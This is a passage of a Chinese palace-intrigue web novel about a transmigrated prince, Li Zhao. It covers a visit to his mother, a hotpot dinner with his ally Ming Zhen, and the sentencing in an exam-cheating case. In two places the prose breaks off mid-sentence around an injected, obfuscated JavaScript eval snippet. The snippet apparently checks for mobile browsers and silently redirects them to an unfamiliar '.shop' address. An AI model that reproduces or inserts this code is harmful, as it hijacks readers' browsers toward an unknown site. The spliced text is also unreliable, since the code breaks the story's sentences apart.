皇帝凝视着下方这个熟悉又无比陌生的儿子,,能说出这番话,绝非一时意气。这几乎是将那份不容于世的野心,明晃晃地摆在了台面上。 “你这番话,”皇帝的声音低沉下去,带着山雨欲来的压迫感,“将你的太子皇兄置于何地?又将朕,置于何地?你就不怕......” “父皇,”黎昭罕见地打断了皇帝的话,语气却异常平和,“您不会那么做的。您是圣明之君,深知王朝未来的命运系于您一念之间。您亦是慈父,天幕一出,儿臣已无退路,不争便是自寻死路。至于太子皇兄,他仁厚贤德,于儿臣更有兄弟之谊。无论是现在,还是天幕预示的未来,儿臣都绝不会对皇兄出手。” “现在知道兄弟血缘了?”皇帝挑眉,“那楚王,难道就不是你的兄长了?” “父皇明鉴,”黎昭的声音果断而坚决,“三皇兄所作所为,天理难容。他需要为自己犯下的罪孽,付出应有的代价。” 最终,皇帝缓缓靠回龙椅,看不清神色,只是挥了挥手,声音听不出喜怒: “滚下去。即日起,你去大理寺报道,负责审理科举舞弊案。” 他深深一揖:“儿臣,告退。”黎昭知道,今日这场风暴,暂时过去了。 13. 我胖了?!! “站住。”黎昭刚要踏出殿门,身后又传来皇帝威严的声音,“记得去看看你母妃。这半月她在朕耳边念叨个不停,吵得朕耳根不得清静。” 听着老爹这嘴硬心软的嘱咐,黎昭只觉眼前的宫道都明亮了几分:“这还用您吩咐?儿臣的母妃,自然是要去探望的。”他脚步轻快地转向仪澜殿方向,回头粲然一笑:“多谢父皇!改日儿臣给您带好吃的!” 黎昭的母妃,兰贵妃江雪吟,出身江南首富江家,他外祖父,外祖母有三个儿子,就这么一个幺女,护的跟眼珠子似的。 上有三位兄长呵护,是在锦绣堆里娇养长大的,性子单纯烂漫。江家原本打算招个上门女婿,让这掌上明珠永远承欢膝下,谁知半道杀出来个皇帝。 元和元年,大晟新立,百废待兴。江老爷子带着女儿进京开拓生意,顺带让她见见世面,恰巧遇上了微服私访的皇帝。 那年皇帝正值而立,风神俊朗,就这么在桥头楼上一眼,让年过二十却始终未遇良人的颜控江小姐,一见倾心。 江老爷子见这年轻人气度不凡,心知不是寻常人家,本想替女儿试探一番,没成想竟是当朝天子。 他忧心忡忡地劝女儿:皇宫不是好去处,一入宫门深似海。奈何江雪吟一头扎进了这段情缘,任谁劝说都不回头。 新朝初立,国库空虚是真;江家世代经商,在他外祖父手中发扬光大,即便历经战乱,家底依旧雄厚也是真。就这样,江雪吟带着半副身家嫁给了爱情,一入宫便封妃。 或许是因为那丰厚的嫁妆,皇帝对初入宫的贵妃多有关照;又或许是她纯真的性子与外家不涉朝政的处境,让二人在日久天长相处中生出些真情。 先皇后早逝,皇帝对先皇后情深意重,就没再立后,还有三个贵妃皆是起事时娶的功勋大臣的女儿。兰贵妃虽有些恋爱脑,却也不失机敏,生下黎昭后晋封贵妃,在宫中过得风生水起。 黎昭有时不禁猜想,自己这般受宠,至少有一半是托了母妃的福。 “殿下,您可算来了!”黎昭刚到仪澜殿,就遇上了母妃身边的大宫女。 “尚姑姑安好。母妃这些时日可好?” “您不知道,贵妃娘娘这半个月茶饭不思,日夜为您担心。如今见您来了,娘娘总算能安心了。” 踏入殿内,只见兰贵妃正对着一卷佛经出神。黎昭不由诧异:“母妃,您不是向来不信这些的吗?怎么看起来佛经了?” 兰贵妃闻声抬头,见到儿子的瞬间眼圈就红了:“快过来让母妃瞧瞧!你……”她本想说“受苦了”,可上下打量一番,见黎昭面色红润,唇红齿白,还是像她一样好看,甚至比半个月前还润了一点点,悲伤的情绪一下自就烟消云散了,搁黎昭身前上下比划,“你怎么还胖了一点?” 黎昭一时语塞。亲娘啊,半个月不见,不该是嘘寒问暖吗?怎么能说儿子胖呢?顶多就是在府里缺乏运动罢了,解禁后很快就能瘦回去! 看着儿子幽怨的眼神,贵妃终于回过神来,捂唇轻笑,“看来,禁足这半个月,你过得还不错,不枉费母妃在你父皇面前念叨。” 黎昭奉上一杯新茶,拱手笑道:“是是是,全托母妃的福,多谢母妃庇佑。” “好了,就知道贫嘴。”兰贵妃正色道,“你们都下去吧。” 待宫人尽数退去,她才压低声音问道:“跟母妃说实话,天幕说你当了皇帝......你是什么时候生出这个心思的?” 黎昭也收敛了玩笑之色:“母妃是知道儿子的。在此之前,儿子最大的心愿,不过是等太子即位后,带着您回封地安享晚年。届时您也能与外祖团聚。 可如今天幕预言的未来里,太子皇兄未能即位,其中必有变故。若是其他兄弟上位......儿子实在不放心。” “罢了,母妃不多问。”贵妃轻叹一声,“你外祖父已经来信了。江家虽无权势,但有的是银子。”她语气里透着富家千金的底气,“你从小主意就大,母妃相信你,放手做吧,母妃永远是你的后盾。如今天机尽漏,就算......就算败了,母妃也定能保你一命。” “嗯,多谢母妃。”黎昭鼻头一酸,今生能得遇如此好的家人,真是三生有幸。 “呀,这是谁家的小郎君,感动得要掉金豆子了?”兰贵妃故意逗他,“需不需要母妃安慰安慰?” 黎昭脸上瞬间爆红,想他前世十八岁,加上今世十八岁,竟被母亲这般打趣,实在丢人! 兰贵妃露出肉疼的神色,从匣中取出一物:“给,这可是母妃新得的金貔貅,金光灿灿的,好看得紧,送你压压惊。” “多谢母妃。”黎昭坦然接过,今世和前世有什么关系,谁能说他不是十八岁呢。 兰贵妃本想留儿子在宫里用膳,但黎昭想到宫外的明臻,就先推脱了。 宫门外,富贵正围着马车不住踱步,一见黎昭的身影,立刻小跑着迎了上去。 “殿下!您可算出来了!没事真是太好了!可吓死奴才了,自从那天幕说您逼……”他猛地捂住嘴,惊慌地四下张望,压低声音,“奴才这心呐,一直悬在嗓子眼!” “那是自然,”黎昭挑眉,故作轻松地拍了拍他的肩,“你家殿下我是什么人?京中横行……呃,是侠义心肠的小霸王!区区天幕,何足挂齿。”说着,他下意识朝马车里望了一眼,车内空空如也。 “哦,对了殿下,”富贵连忙禀报,“明公子方才遇上出宫的右相大人,便随相爷回府了。他让奴才转告您,待他得空再过来寻您。” 黎昭一听这话,当即利落地跃上马车,“富贵,快,去明府!” “啊?为何如此着急?”富贵一边忙不迭地吩咐车夫,随即恍然大悟,拖长了音调,“哦——奴才明白了!殿下是怕明公子回去挨罚吧?” “行了,知道了还不赶快!” 时间倒回一个时辰前。 天幕结束,右相沉着脸走出宫门。远远便瞧见自家那向来持重的儿子,竟安然 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“你还敢问!”右相痛心疾首,“公然挑战皇权,逼迫圣上!你可曾想过后果?瑞王是皇子,又有兰贵妃护着,不一定出事。” “但你呢?你爹我没那么大的脸面!圣上如若追究,你的仕途就彻底断送了!家族多年栽培,是让你这般不计后果、肆意挥霍的吗?!” “父亲的考量,儿子明白。”明臻的声音依旧平稳,却带着不容置疑的坚定,“然而天下不平之事,多如牛毛。若我每行一件事,都要如此瞻前顾后,人人都作此想,这天下积弊,何时能清?这也与您自幼教导儿子的道理背道而驰?” 他顿了顿,目光变得深远而温和:“更何况,瑞王殿下,他是最合适的人。他有仁德之心,有济世之能,儿子相信他能如天幕说的那样带领大晟走向前所未有的盛世。” “冥顽不灵!”右相拂袖,语气中透出深深的无力与更深的忧虑,“如今天幕显现,歌颂的是‘圣祖’的光辉!你可知这意味着什么?若有朝一日,天下只知圣祖,不知高祖......陛下会如何想?又会如何做?” “到那时,你口中的‘圣祖’,还能是‘圣祖’吗?瑞王要如何自处?你又如何自处?是做一个名留青史的从龙功臣,还是一个不忠不义的悖逆之臣?!” 明臻的目光沉静,望向祠堂的牌位,仿佛在与历代先祖对话:“父亲告诉儿子要忠君爱国。正因如此,儿子才选择辅佐能带来盛世之人。这便是儿子对列祖列宗、对亿兆黎民,所能尽的最大的忠,对大晟所能尽的爱!” 右相深吸一口气,看着跪得笔直的儿子,最终将所有情绪化为一声长叹:“烈火烹油,鲜花着锦!你看看如今的朝堂,那些老谋深算之辈,可有一人急于站队?他们都在观望!这潭水,比你想的要深得多!” 言罢,右相双袖一甩,转身离去,只留下沉重的话语在祠堂中回荡: “你对着列祖列宗,好好想想吧!” 14. 吃火锅 “殿下,明府到了。”马车缓缓停稳,富贵在外低声禀报。 “等等,”车内,黎昭的声音传出,带着一种与平日跳脱截然不同的沉静,“不去了,回王府。” “啊?”富贵一愣,凑近车帘,压低声音,“殿下,咱们都到门口了,不去看看明公子吗?”他实在不解,殿下明明一路心急火燎地赶来。 “正因到了门口,才更不能进去。”黎昭的声音透过车帘,清晰地传来,冷静得近乎克制,“我与他明臻私下相交,尚可说是少年人意气相投。但若此刻踏入明府大门,性质便不同了。此举有结党营私之嫌,如今局势晦暗不明,我不能将明府拖下水。” “那......那怎么办?”富贵似懂非懂。 “富贵,研墨。” 黎昭没有过多解释。他取过随身携带的笔墨纸砚,就着车内微晃的光线,略一沉吟,便落笔书写。 很快,一封信笺写好,他取出自己的私印,郑重地盖上,随即递出车外,交给一名侍从:“速将此信送至明府,务必亲手交到明相手中。” 富贵一边收拾墨砚,一边忍不住问:“殿下,这样...就可以了吗?” “嗯。”黎昭颔首,语气恢复了几分往常的松弛,“信中只说,邀他明日过府,参加晚间的赏梅小宴,另附一句,望他一切安好。明相是明白人,会懂的。” “殿下高明!”富贵眼睛一亮,随即又问,“那可要再下些帖子,多邀几位公子?” “不必。”黎昭失笑,“是嫌你家殿下我还不够招摇吗?再说了,谁规定赏梅宴,不能只请一人?” 他放下车帘,靠回软垫:“回府用膳。下午还得去大理寺打卡。唉,真是讨厌需要上班的日子!” 富贵听着自家殿下最后那句熟悉的抱怨,心下嘀咕:殿下又开始说这些让人听不大懂的怪话了。不过,他早已见怪不怪。 马车调转方向,辘辘驶离了肃静的明府街巷,将那句飘散在风中的抱怨也一同带走。 明府祠堂,烛火幽微。 林立的牌位在长明灯的映照下显得格外肃穆,空气中弥漫着清冷的香火气。沉重的木门“吱呀”一声被推开,打破了满室寂静。 “饭食放在边上即可,有劳。”明臻跪在蒲团上,并未回头。 “怎么?明府是苛待你了,你终于打算绝食相抗了?”明相沉步走入,语气里压着显而易见的不满。 明臻略显诧异地抬眼:“儿子不敢。只是暂无胃口罢了。父亲您怎么……” “你家殿下派人送信来了。”不待他说完,明相已从袖中取出一封素笺,递了过去,语气辨不出喜怒,“信直接送到了老夫手上。殿下倒是有心,知道替你周全。” 这话听着像是夸奖,字里行间却透着更深沉的考量。明臻双手接过,展开信笺,目光触及最后那句“望一切安好”时,心头蓦地一暖,唇角不自觉微微扬起。 这局本就是他们二人一同布下,如今这句问候,不仅是替他周全,更像是心照不宣的确认。 他将信仔细折好,纳入怀中,神色已恢复一贯的冷静自持:“父亲明鉴,殿下绝无威胁之意。他只是......担心儿子罢了。” “行了。”明相摆摆手,神色复杂地看了他一眼,“是什么意思,老夫也懒得深究。回去吧。” 他顿了顿,声音低沉却异常清晰,“只是你需记住一句话:你是你,明府是明府。你与殿下如何往来,为父可以不管。但唯有一点——明府上下,效忠的永远是当今陛下,是龙椅上那位。这一点,永远不会变。” “是。儿子的明白。”明臻深深一揖,不再多言。 ------------------------------ 明府父子的这番谈话,黎昭自是无从得知。 此刻,他正埋首于大理寺浩如烟海的卷宗之中。整整一个下午,他都在核对、梳理元和二十二年的科考档案。 尽管手中已握有扎实的人证物证,但此案牵涉亲王,干系重大,审理流程上的每一步都必须严谨无误,与官方记录逐一比对。 看着眼前堆积如山的案卷,他只觉一个头两个大。这直面庞杂公务的“上班”日子,果真讨厌得紧。 瑞王府,梅园。 夜色初笼,园中红梅灼灼,暗香浮动。暖锅早已备好,炭火正旺,蒸腾的白气裹挟着浓郁骨汤的香气,在寒冷的空气中氤氲开一片暖意,只等着客人的到来。 这暖锅,是一种可以端上餐桌的锅,锅下面有足,中间有炉膛,可以放入炭火持续加热,在大晟又被唤作“古董羹”。其名由来,一说是因它乃沿用古法用来取暖和烹食的锅具,二说,便是因食物投入滚汤中会发出“咕咚”声响,故而谐音得名。[1]。 黎昭第一次吃暖锅的时候,便眼前一亮——这不就是令他魂牵梦萦的火锅么!只是吃法不太一样,有点像单人小火锅。 只是大晟的吃法颇为“豪放”,将食材一次性全部投入锅中烹煮,没有涮吃的习惯,而且没有蘸料,汤底也多是清淡高汤,于他这无辣不欢之人而言,终究少了些滋味。 是的,黎昭准备用火锅招待明臻。只是黎昭个人喜欢比较热闹一点吃火锅,于是开府后,他亲自画了图样,命人特制了一口更大的暖锅,更在中间加上一道巧妙的隔板,做成了独一无二的“鸳鸯锅”。 自此,这口锅便成了他解馋的利器,招待的最多的还是明臻,当然也有一些他的纨绔朋友们。 唯一可惜的就是辣椒还没有传入大晟。在他的船队回来前,他只能退而求其次,以花椒、茱萸、生姜与胡椒调和,勉强模拟出几分辛辣,不太过瘾。 如今在民间也有流传这样的吃法,只是能够欣赏这个辣味的人不多,譬如明臻,一吃辣就上脸。 他还记得第一次怂恿明臻尝试时,这位向来风度翩翩的世家公子被呛得眼角泛红、咳嗽连连,平日里的从容荡然无存。许是那次留下了“阴影”,自此之后,明臻便彻底与辣锅划清了界限,坚定地守在清汤一侧。 酉时正,客人踏着月色与梅香,准时赴约。 “殿下。”明臻于亭外站定,从容一揖。 黎昭从思绪中回神,笑着招手:“就我们两个,还讲究这些虚礼做什么?快进来坐。今儿吃暖锅,这两日在大理寺对着成山的卷宗,看得我头晕眼花,必须得靠这口锅子回回血。” “礼不可废。”明臻步入亭中,在他对面坐下,语气温和却坚持。 黎昭一挑眉,双手支着下巴,故意歪头看他,开始翻起旧账,“这么说的话,你以前跟在我后头一口一个‘小娘子’,教训我这也不可为、那也不许行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628043|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,怎不说礼不可废?一口一个阿昭的时候,怎么不说礼不可废,现在跟我论起礼来了。” 他做恍然大悟状,眼中闪着狡黠的光,“哦——原来这礼数周全与否,全在明哥哥的一念之间啊?” 话一出口,黎昭自己也顿住了。“明哥哥”这称呼,是幼时初识时的称呼,如今骤然脱口,竟觉得有些烫嘴。 “停。”明臻出声,耳根微不可察地泛红,执壶为他斟了杯热茶,算是讨饶,“阿昭,我认输。” 黎昭看着对面明臻微红的耳根,故作镇定,“罢了,本殿下大人有大量,不与你计较。” 随即挥退左右,“你们都下去吧,自去暖阁里也支一锅,这里无需伺候了。富贵,带风源一同去。” “是,谢殿下恩典。”侍从们含笑退下,亭中顷刻间安静下来。 此刻彷佛只剩下这桌案之间,一轮月,两个人,以及点点梅香萦绕其中。 黎昭觉得该说点什么来打破这过分的静谧,轻咳一声:“咳,那什么,明相后来,没罚你进祠堂吧?” 明臻正执箸将鲜切的薄羊肉放入清汤一侧,闻言动作未停,只抬眼看了看他游离的眼神,顺着他的话说了,“没有。阿昭神机妙算,信来得正是时候。” “真的?那就好。”看刚才明臻行走间,动作如常,应是无事。毕竟现在长大了,再扒明臻的衣服不太好,明臻会跟他翻脸的。 “嗯,”明臻应了一声,将烫好的羊肉夹到他碗中,“阿昭这两日在大理寺,查得如何?” “唉,别提了。”黎昭立刻苦了脸,“卷宗堆积如山,看得我眼睛都快瞎了。”他放下筷子,神色认真起来,“正好,有件事我想不通,要问你。” 明臻停了箸,专注望向他:“嗯?” “你说,天幕讲述的这桩案子,为何到了庞迎这里便戛然而止?按我们暗中查探,楚王扰乱科场绝不止近两届。难道……天幕里的那个‘我’,竟未能查个水落石出吗?” “阿昭,无论哪个你都是你,核心都不会变。但你是否想过,将所有的黑暗与污秽彻底公之于众,真的是最妥帖的做法吗?” “什么意思?”黎昭语气不由得带上一丝急切,“若不公之于众,那些往届蒙冤的学子怎么办?他们的公道谁来偿还?” “我明白你的心情。”明臻的目光透过蒸腾的白雾,显得格外深邃,“制定此计之初,我虽知民意可用,却也未曾料到其力量竟能汹涌至此。” “如今,天幕仅揭露两届黑幕,其中一届甚至尚未发生,已引得朝野震动,民情沸腾。若将历届积弊一并掀开,告诉天下人,科场舞弊并非偶发,而是盘根错节的常态......阿昭,你想过学子们会如何想?天下百姓又会如何看吗?” 他稍稍前倾身体,语气凝重:“寒窗苦读的士子,将不再相信科举的公正。他们会想,既有一个楚王,谁能保证没有第二个、第三个?届时,朝廷取士之根本被动摇,国家将如何选拔栋梁?” “而黎民百姓,在一次次冲击下,会对朝廷彻底失去信心。更可怕的是,若有不轨之徒借此煽动,宣扬‘朝廷无道’,届时人心浮动,社稷倾危,后果......不堪设想。” 明臻一顿,接着道,“我们求的是革新除弊,拨乱反正,而非......颠覆一切的动荡。” 15. 落幕 “不会的,明臻,这是好事啊!大家会理解的,怎么会像你说的...”他的辩解在对上明臻那双沉静的眼眸时,戛然而止。 黎昭的脑海掀起了风暴,明臻的话如同一道劈开迷雾的闪电。 他突然意识到,是他想岔了。这里不是那个历经百年沧桑,在烈火与鲜血的洗礼中重塑脊梁的龙国,这里没有那一抹足以凝聚亿万人信仰的红色旗帜。 是他太想当然地以为,只要将一切阴私公之于众,正义就必然会得到伸张,作恶者会受惩,蒙冤者得昭雪,万民会欢庆。 却唯独忘了,这个时代自有它根深蒂固的运行法则,有些脓疮,若一次性全部挑破,带来的可能是整个肌体的溃烂。 黎昭低头,无言,沉默良久,才听到自己干涩的声音响起,“那,之前的那些人怎么办?他们原本的前途谁来还给他们?那些靠着窃取他们前程才得以盘踞高位的蠹虫,难道...就放任不管了吗?” 他不知道明臻是何时起身的,只觉得眼前一暗,一双微凉的手从身后轻轻覆上了他的眼睛,隔绝了亭外的月光与梅影,也隔绝了他心中翻腾的不甘与焦躁。 “阿昭,没关系。”明臻的声音近在耳畔,低沉而稳定,带着一种奇异的、能抚平波澜的力量,“静下心来,总会有办法的。” 紧绷的脊背骤然松懈,黎昭放任自己向后靠去,将全身的重量倚在身后那片温暖坚实的支撑上。 “我要让他们付出代价。”他闭上眼,在黑暗中,声音轻却斩钉截铁。 “嗯,他们会的。”明臻的应答几乎是贴着他的耳廓响起,语气是前所未有的温和,但那温和之下,却潜藏着不容置疑的冰冷决绝,仿佛在低声轻语:你所期望的必会达成。 “如今大势所趋,罪魁祸首及其党羽必然伏诛。其一,万全之法,由殿下出面补偿学子,将其纳入麾下,未来再图平反。至于涉事官员,可寻他错,徐徐图之。” “不行”,黎昭将眼上覆盖的手扒拉下来,猛地转身,茶水打湿衣袖也浑然不顾,“这是趁人之危!与那些窃贼何异?况且,我们等得起,那些被偷换了人生的人等得起吗?” 明臻似早有所料,慢条斯理说出另一个方案:“其二,将往届舞弊的证据密呈陛下,恳请圣裁。为往届学子恢复应有名誉,厚赏其族,以作补偿。涉事官员则由陛下暗中处置,或贬谪,或密决,以安民心,□□定。” “这个可以,你简直就是我的锦囊,妙计信手拈来!”黎昭眼中阴霾尽散,重现光彩,“父皇是开国之君,深知江山不能立于流沙之上,他会同意的!”他仰头看向明臻,眼神带上一丝探究,“你何时想好的两套方案?是不是在考察我?” 明臻微微挑眉,不置可否。 “你学坏了!”黎昭哼了一声,斗志昂扬,“明日我便进宫面圣。” 明臻没有再言,只是执壶为他续上热茶。氤氲白气中,他眼底柔和,一切尽在不言中。至于他是否早知黎昭的选择,此刻,唯有亭外寒梅与天边冷月,静默旁观。 最终,一切皆如黎昭所料。 皇帝采纳了他的谏言。当那份详尽的往届舞弊交易记录被逐一核实后,引发的帝王之怒远超预期。 科举舞弊案的审理进程骤然提速,大理寺、刑部、御史台的官员们连夜加班,案牍劳形,人人眼下都挂着一副标准的“黑眼圈”,忙得几乎脚不沾地。 这景象让每日卡点上值、准点开溜的黎昭颇为唏嘘——放眼望去,尽是些“国宝”同僚,这让他更加怀念前世他还没来得及去看的黑白团子。 至于加班?那是绝无可能的。堂堂亲王,谁敢逼迫?不要命了么! 历时近半月,凭借黎昭与明臻此前搜集的铁证,叠加三司的全力核查,一切终于水落石出。 又一日常朝,晨曦微露,宫灯次第亮起。 帝冕垂旒,遮掩了御座之上所有的神情,唯有无形的威压笼罩着整个大殿。群臣屏息,肃穆无声。王公公手持圣旨,拉长了声音,宣告着这场震动朝野的大案终局: “奉天承运皇帝,诏曰:今有楚王,紊乱科场,荼毒士林,动摇国本!朕虽心恻然,然君臣之义,重于父子!着剥除爵位,贬为庶人,即日赐死!吏部尚书张丰僚,处绞刑,家产抄没,族中男丁流放三千里,没入奴籍!其余一应党羽,严惩不贷!科场诸务,着即整饬,永绝弊端!钦——此——” “陛下圣明!万岁,万岁,万万岁!” 山呼声中,黎昭心头的巨石终于落地。他注意到,父皇最终还是网开一面,放过了那些不知情的妇孺。 其他涉案人员,该严惩的已受严惩,该判罚的已得判罚。而那些蒙冤的学子,朝廷也已派人一一寻访,愿意入仕的重新授予官职,不愿的则给予巨额补偿。 至于这笔钱的来源嘛,自然是出在那些罪臣被抄没的家产上。 用他父皇的话说:“既然有钱去行舞弊之事,自然有钱偿还受害者。”羊毛,终归是出在羊身上。 虽然部分人的罪名未以“科举舞弊”之名论处,但也寻了其他由头加以严惩,其下场比之科场案犯,只重不轻。 嗯,又是功德圆满的一天。但,总感觉忘了什么事。 黎昭随着人流退出大殿,迎着初升的朝阳,惬意地眯了眯眼,一股想要伸个懒腰的冲动油然而生。 然而,动作刚到一半便硬生生止住——实在不够雅观。若被哪个眼尖的御史瞧见,一本“瑞王殿前失仪,有损天家颜面”的奏折递上去,他又得面对那些古板严肃的教习嬷嬷和伴伴。 光是想想,就让他头皮发麻。 说起这些教导嬷嬷,还是要提到他做女装大佬的那些年。当然他父皇对外宣称贵妃诞下了一对龙凤胎,真实情况只有皇家知道,真相则被牢牢锁在宫墙之内。 那时候他母妃实在不放心,不仅让他穿着裙衫,竟还要他拈起绣花针学女红!更要命的是,连行走坐卧都需恪守闺阁礼仪。 而他父皇那边呢,又生怕他常年浸润于钗环裙裾间移了性情,便变本加厉地命人向他灌输皇子应有的仪态,以及那些充满大男子主义的典籍,简直令人头大。要他真是一个小孩,迟早要被他父皇母妃搞得分裂不可。 可怜黎昭小小年纪便被迫在两种截然不同的身份与礼仪规范间反复横跳。今日需学如何莲步轻移,笑不露齿,哀而不伤;明日便要练习龙行虎步,声若洪钟。 两边的教习嬷嬷和太监都是顶尖的严师,一个要求“步从容,立如芍药”,一个训诫“行如风,坐如钟”。他偶尔精神恍惚,行礼时不小心搞混了,便会立刻换来一句不轻不重的提点:“殿下今日,似乎...略失庄重了。” 他曾有一次不堪重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628044|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负,当着教习的面舒展了一下筋骨,伸了个懒腰。结果,那位宫廷首席教习只是微微蹙眉,用她那永远平稳无波的语调淡淡道:“殿下这姿态,若是让外邦使臣瞧见,怕是要误以为我大晟宫廷,新排演了什么番邦舞乐呢。” 其嘲讽之力道,足以让当时的他恨不得原地消失。 他时常在心中愤愤不平地吐槽他那皇帝老爹:明明您自己批奏折、议事累了也会毫无形象地瘫着,却偏偏要来折磨您的亲儿子和亲女儿! 这段“冰火”交织的礼仪训练,就是他童年最大的阴影。他要克制住自己,等回自己的地盘再撒野! —————————— 瑞王府内,一派闲适。 科举舞弊案告落,不用再去大理寺点卯的黎昭,第二天便理直气壮地告了假,决心好好享受这难得的清闲。他深深觉得,大晟这五日一休的朝会制度,实在不够人性化——区区一天,怎够恢复连日的疲惫? 遥想建国之初,百废待兴,君臣忙碌,五日一休是为应对繁杂国事。可如今大晟在他父皇治下已渐复生机,需要摆上朝会商议的大事远不如从前那么多。在黎昭看来,改为三日一休正正好。 年初他刚上朝时,就曾壮着胆子向父皇谏言,结果不出所料,被结结实实地骂了一顿,他父皇就是卷王本王。 此刻,他正歪在软榻上,捧着一卷话本读得入神。情节正到跌宕起伏之处,外间却传来通禀声: “殿下,胡威求见。” “让他进来。”黎昭应道,心知是此前安排的审讯有了结果。这几日忙于科举案,倒将此事暂且搁下了。 “参见殿下。”胡威入内行礼。 “起来回话。”黎昭合上话本,稍稍坐正,“审得如何了?” “回殿下,那伙人确系寻常绑匪,榨不出什么有用的消息。据他们交代,平日只在京畿之外活动,专挑些达官显贵或富商大贾的子弟,趁着他们外出游猎踏青时下手绑票,索要赎金,从不敢在京城地界行事。此番是约莫一月前,有人寻上他们,许以重金,命他们潜入京城,在您进宫必经之路上候着,听令行事,目标是……绑了您。” “那接头人从头到尾都没出面,所有指令皆由箭书传递,酬金也是让他们去指定地点自取。他们并不知晓您的真实身份,纯粹是利令智昏,才接了这趟买卖。我们循着那些痕迹去查了,笔墨是市面最常见的,箭矢也是猎户常用的硬木所制,材料寻常,随处可得。那幕后之人,手脚极为干净,未留下任何可供追查的痕迹。” “嗯,”黎昭指尖在榻沿轻轻敲了敲,“既然他们一无所知,便按律送交官府处置。他们过往敲诈勒索的勾当想必不少,也该在牢里好生反省了。” 他语气一转:“另外,你们一行人跋涉入京也辛苦了,去寻富贵领份赏赐,好好犒劳一番弟兄们。往后,就先在王府安顿下来,自有用得着你们的时候。” 这批人是他外祖父特意为他网罗的江湖好手,走南闯北,见识颇广,身怀的技艺也是五花八门,颇有意思。 至于那藏于幕后的黑手,黎昭倒也不急。不出所料,就是他哪个兄长的手笔。听绑匪所言,对方似乎并无取他性命之意,那这番安排的用意究竟何在? 是想利用他被刺杀而激怒他们父皇,搅动风云吗?如果真这样,那幕后之人恐怕要失望了。 16. 庞迎后续 诏书宣判,刑场立威。 京城之内,万民空巷。百姓与学子们无不拍手称快,每日皆有无数人守在囚车游街的必经之路上观看的。 更有外地学子日夜兼程赶来,本是想要效仿幕中的学子一般,为蒙冤者奔走呼号,岂料抵达京城时,大局已定,没了自己的用武之地。 听着茶楼酒肆中说书人慷慨激昂的演绎,他们虽憾未能亲身参与这场正义伸张,却也为恶人伏法而痛快淋漓。当即呼朋引伴,共赴刑场,亲眼见证这大快人心的一幕。 其中文采斐然的,更是挥毫泼墨,诗词歌赋如雪片般传颂街头巷尾,无不赞颂皇帝陛下爱民如子,瑞王殿下端方正义。一时间,风头无两,自有人气的直跺脚。 如今,在游行示众的,正是罪魁祸首之一的张丰僚。为了迅速平息民愤,朝廷走了最快的流程将张丰僚的地狱之行确定了。 至于楚王虽被贬为庶人,但为了皇室颜面,他的赐死是由宗室操办,不会放在大庭广众之下。 曾经的吏部天官,如今蓬头垢面,白发苍苍,蜷缩在囚车之中,承受着沿途百姓的唾骂与鄙夷:“呸!活该!” 临街酒楼的雅间内,黎昭目送囚车远去,方才收回视线。今日,他们正是为此而来。 窗外的喧嚣与室内的静谧仿佛两个世界,他坐回明臻身侧,“此事,总算告一段落了。” 明臻为他斟上一杯新茶,雾气氤氲中,目光沉静如水:“是结束,亦是开始。” 待窗外的喧嚣彻底远去,庞迎也悄然来到厢房。 他执起酒杯,膝盖点地,敬向黎昭,神情激动:“殿下与明公子的大恩,庞迎没齿难忘!此后,庞迎即为殿下利剑,万死不辞。”说完后就将杯中酒一饮而尽,都没给黎昭开口的机会。 明臻看了黎昭一眼,轻点下巴,向他示意。黎昭回以眨眼,表示收到。 “庞迎,利剑之事暂且不提,你先起来。”待庞迎依言落座,黎昭才斟酌着开口,“是这样的,陛下有旨,被替换的考生,可以重新另开一次殿试,授予官职。庞迎,这意味着,你可以重新选择一次人生。” “这些年,你已将情报网络打理得井井有条,即便你离开,亦能运转如常。你可以好好考虑一下,是否要过另一种人生——以你之才,必能成为一方父母官,实现你最初光耀门楣的理想。毕竟,你也听到天幕说了,跟着殿下我可得不到什么好名声。” 这还是明臻提醒他的,虽然舍不得,但总要为庞迎计划一番。 庞迎闻言,脸上瞬间掠过一丝受伤的神色,难以置信地望向黎昭:“殿下......是要赶属下走?” 黎昭头疼,他发现,自从大仇得报后,庞迎的表情丰富多了,不再是往日那不顾生死的木头桩子了。 “我绝非此意。”黎昭耐心解释,“此事终归是皇家对不住你,对不住庞家。我只是觉得,你或许该考虑一下那条更为平顺安稳的路。” “殿下,仇和恩,属下还是分的清楚的。”庞迎目光灼灼,“若非殿下大义,庞迎此生恐怕至死不知仇人为谁,更遑论报仇雪恨!不必考虑,我相信殿下,只有殿下能令天下不再有下一个“庞迎”出现。为此,庞迎甘为利刃,为殿下披荆斩棘。殿下所指,即为庞迎所向。” 听到这话,黎昭又要脚趾扣地了,古人表起忠心来,真是直白得让人招架不住。都怪天幕,教坏祖宗! 明臻凝视着庞迎,眉头微不可察地蹙起,似不满,似可惜。 庞迎突然脊背感到一阵凉意,也不知是哪里来的风。 “好了好了,你的心意本王知道了。”黎昭连忙摆手,“往后这类话少说,听得我鸡皮疙瘩都起来了。还有你那自传,不管何时动笔,都不许再写得那般...引人遐想,以免贻误后世!” 庞迎面露尴尬,他也没想到后人能解读出那般光景,平白连累了殿下清誉:“殿下明鉴,属下还未曾动笔。” “不若这样”,在两人尴尬之际,明臻开口,对庞迎道,“日后你若动笔,完稿后交由专人审阅一番。毕竟当局者迷,难免掺入过多私人情绪而不自知。” 